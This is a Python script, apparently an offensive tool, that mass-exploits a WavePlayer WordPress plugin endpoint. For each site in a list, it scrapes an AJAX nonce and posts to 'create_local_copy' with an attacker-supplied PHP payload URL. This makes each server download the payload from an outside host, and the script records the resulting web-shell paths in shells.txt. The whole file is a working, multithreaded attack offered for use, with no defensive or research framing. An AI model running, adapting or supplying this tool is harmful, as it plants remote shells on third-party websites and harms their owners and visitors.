#!/usr/bin/env python3 """ WordPress WavePlayer Exploit Scanner """ import requests import re import threading import time import os import sys from queue import Queue from urllib3.exceptions import InsecureRequestWarning from colorama import init, Fore, Style import urllib3 # Disable SSL warnings urllib3.disable_warnings(InsecureRequestWarning) init(autoreset=True) # Colors G = Fore.GREEN R = Fore.RED Y = Fore.YELLOW B = Fore.BLUE M = Fore.MAGENTA C = Fore.CYAN W = Fore.WHITE RS = Style.RESET_ALL class WavePlayerExploit: def __init__(self, sites_file, payload_url, threads=10): self.sites_file = sites_file self.payload_url = payload_url self.threads = threads self.queue = Queue() self.results_file = "shells.txt" self.timeout = 15 self.retries = 2 self.session = requests.Session() self.session.verify = False self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) # Nonce patterns self.nonce_patterns = [ r'ajax_nonce":"([^"]+)"', r'nonce":"([^"]+)"', r'"_nonce":"([^"]+)"', r'security":"([^"]+)"', r'wpnonce":"([^"]+)"', r'nonce=([^&"\']+)', ] self.print_banner() def print_banner(self): banner = f""" {B}███████╗██╗ ██╗ █████╗ ██╗ ██╗███████╗██████╗ ██╗ █████╗ ██╗ ██╗███████╗██████╗ {RS} {B}╚════██║██║ ██║██╔══██╗██║ ██║██╔════╝██╔══██╗██║ ██╔══██╗╚██╗ ██╔╝██╔════╝██╔══██╗{RS} {B}███████║██║ █╗ ██║███████║██║ ██║█████╗ ██████╔╝██║ ███████║ ╚████╔╝ █████╗ ██████╔╝{RS} {B}╚════██║██║███╗██║██╔══██║╚██╗ ██╔╝██╔══╝ ██╔═══╝ ██║ ██╔══██║ ╚██╔╝ ██╔══╝ ██╔══██╗{RS} {B}███████║╚███╔███╔╝██║ ██║ ╚████╔╝ ███████╗██║ ███████╗██║ ██║ ██║ ███████╗██║ ██║{RS} {B}╚══════╝ ╚══╝╚══╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝{RS} {C}WavePlayer Exploit DEADEXPLOIT{RS} {Y}Threads: {self.threads} | Timeout: {self.timeout}s | Retries: {self.retries}{RS} {M}Results: {self.results_file}{RS} {'-' * 60} """ print(banner) def log(self, message, color=W, end='\n'): timestamp = time.strftime('%H:%M:%S') print(f"{C}[{timestamp}]{RS} {color}{message}{RS}", end=end) def extract_nonce(self, url): for attempt in range(self.retries + 1): try: response = self.session.get(url, timeout=self.timeout) if response.status_code == 200: for pattern in self.nonce_patterns: matches = re.findall(pattern, response.text) if matches: return matches[0] if attempt < self.retries: time.sleep(2) except Exception: if attempt < self.retries: time.sleep(2) continue return None def exploit(self, url): url = url.strip() if not url.startswith(('http://', 'https://')): url = 'https://' + url self.log(f"[*] Testing: {url}", Y) nonce = self.extract_nonce(url) if not nonce: self.log(f"[!] No nonce: {url}", R) return self.log(f"[+] Nonce: {nonce[:20]}...", G) exploit_url = f"{url}/?wvpl-ajax=create_local_copy" data = {'nonce': nonce, 'url': self.payload_url} headers = {'Content-Type': 'application/x-www-form-urlencoded'} for attempt in range(self.retries + 1): try: response = self.session.post(exploit_url, data=data, headers=headers, timeout=self.timeout) if response.status_code == 200: try: json_response = response.json() if json_response.get('success') == True: self.log(f"[🔥] VULNERABLE: {url}", M) temp_file = None if 'data' in json_response and 'track' in json_response['data']: temp_file = json_response['data']['track'].get('temp_file') if temp_file: self.log(f"[📁] Shell: {temp_file}", G) # Save only the shell URL to file with open(self.results_file, 'a') as f: f.write(f"{temp_file}\n") return except: pass if attempt < self.retries: time.sleep(2) else: self.log(f"[✗] Failed: {url}", R) except Exception: if attempt < self.retries: time.sleep(2) else: self.log(f"[✗] Error: {url}", R) def worker(self): while True: try: url = self.queue.get(timeout=3) if url is None: break self.exploit(url) self.queue.task_done() time.sleep(0.5) except: break def run(self): if not os.path.exists(self.sites_file): self.log(f"[ERROR] File not found: {self.sites_file}", R) return with open(self.sites_file, 'r') as f: sites = [line.strip() for line in f if line.strip()] self.log(f"[✓] Loaded {len(sites)} targets", G) # Clear results file before starting open(self.results_file, 'w').close() for site in sites: self.queue.put(site) for _ in range(self.threads): t = threading.Thread(target=self.worker) t.daemon = True t.start() try: while not self.queue.empty(): remaining = self.queue.qsize() done = len(sites) - remaining print(f"\r{C}Progress: {done}/{len(sites)}{RS}", end='') time.sleep(0.5) except KeyboardInterrupt: self.log(f"\n[!] Interrupted", Y) self.queue.join() self.log(f"\n[✓] Done! Results in {self.results_file}", G) def main(): print(f"\n{C}WavePlayer Exploit Configuration{RS}\n") sites_file = input(f"[?] Path to WordPress sites list (txt): ").strip() if not os.path.exists(sites_file): print(f"{R}[!] File not found{RS}") sys.exit(1) payload_url = input(f"[?] URL to your PHP payload: ").strip() if not payload_url.startswith(('http://', 'https://')): payload_url = 'http://' + payload_url threads = input(f"[?] Number of threads [10]: ").strip() threads = int(threads) if threads.isdigit() else 10 print(f"\n{Y}Starting scan...{RS}\n") scanner = WavePlayerExploit(sites_file, payload_url, threads) scanner.run() if __name__ == "__main__": main()